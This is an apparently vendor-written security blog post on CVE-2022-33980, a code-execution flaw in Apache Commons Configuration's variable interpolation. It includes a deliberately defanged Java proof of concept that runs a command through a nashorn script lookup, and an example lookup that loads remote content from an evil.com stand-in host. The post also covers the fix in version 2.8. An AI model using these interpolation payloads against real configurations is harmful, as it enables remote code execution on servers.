Exploring CVE-2022-33980: the Apache Commons configuration RCE vulnerability

Before we dive into the details of this vulnerability, we want to make it clear that there’s no need for panic. Many systems permit the use of various types of code in configuration files, and there are legitimate use cases to include string and variable interpolation in the configuration of applications and systems. This is not Log4Shell all over again. This is simple configuration manipulation. If someone can change your configuration with ease, or the dynamic resources it may be pointing to, odds are you have bigger fish to fry.

Apache Commons configuration flaw

It is possible to perform Arbitrary Code Execution in Apache Commons configuration files (present in versions 2.4 through 2.7) using the default variable interpolation functionality. Specifically stemming from the interpolate function in the ConfigurationInterpolator class.

In a normal scenario, the interpolate function receives an object value that contains variables, which are then substituted if they can be resolved. This results in a passed-in value with the variables replaced — which can be useful when there are version differences in the development and production environments. In short, the interpolation function allows the configuration parameters to be evaluated dynamically. There are many legitimate reasons to do this.

However, if these lookups are performed by an attacker-controlled configuration file, it can cause a lot of damage. For example, ${url:UTF-8:[https://www.evil.com](https://www.evil.com)} uses the URL prefix, which could be used to load remote files and values for the configuration. If someone were to obtain control of the designated URL via an attack (such as subdomain takeover), then they could potentially leverage arbitrary code execution on application servers. This could then lead to pivoting throughout the network, resulting in further compromise.

In addition to the URL lookup prefix, there are other lookup prefixes enabled by default for resolving DNS records and executing scripts. In the case of attacker-controlled configuration, this could be devastating.

It is important to maintain proper configuration sanitization and remain diligent when it comes to dynamic values. Although a URL may belong to your organization today, when the domain lease expires, an adversary could compromise dynamic configurations by obtaining said domain and hosting malicious material on the once legitimate URL.

Apache Commons configuration proof of concept

From Java 8 up to Java 15 the Nashorn script engine was by default provided in Java. This means that without any extra effort we can execute scripts. Nashon provides different types of engines to use and execute. The following examples are JavaScript and nashorn, which allows you to execute some Java code.

In the example below I use the interpolate() function to execute such scripts. As a result, the JavaScript code 5 + 4 executes to 9, and the Java code with the nashorn executes the ProcessBuilder that starts up my calculator on Mac.

1public static void main(String[] args) {
2    InterpolatorSpecification ips = new InterpolatorSpecification.Builder()
3        .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
4        .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().valueš())
5           .create();
6
7   ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(ips);
8   System.out.println(interpolator.interpolate("${script:javascript: 5 + 4}\n"));
9   System.out.println(interpolator.interpolate("${script:nashorn: new 
10javâ.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"));
11}

Editor's note: To test the above code, you'll need to replace the "a" in "java" and "s" in "values".

The latter example displays how a serious arbitrary code execution vulnerability can result from a user influencing the input of the interpolate() function. While spinning up a calculator is not particularly interesting, the same technique can be applied to execute a reverse shell attack or even worse.

Note that Nashorn is no longer available by default in Java 15 and later versions. So, these scripts will only be executed if you provide a script engine yourself. However, because many enterprises still depend on older versions like Java 8, this can be a serious problem. This is a perfect example of why you should consider running the most updated Java version like Java 17 (the latest LTS version).

Fixing Apache Commons configuration

This issue should be resolved in version 2.8 and onwards, since the latest release disables the prefixes URL, DNS, and script by default in the latest release. Other kinds of lookups require changing system properties to permit their behavior. Restricting the default set of potential lookup prefixes greatly reduces the impact of maliciously controlled configuration files.

Scanning with Snyk can help determine if this vulnerability is present in your stack. If detected, update to version 2.8 and run snyk monitor in the CLI to continue monitoring in production.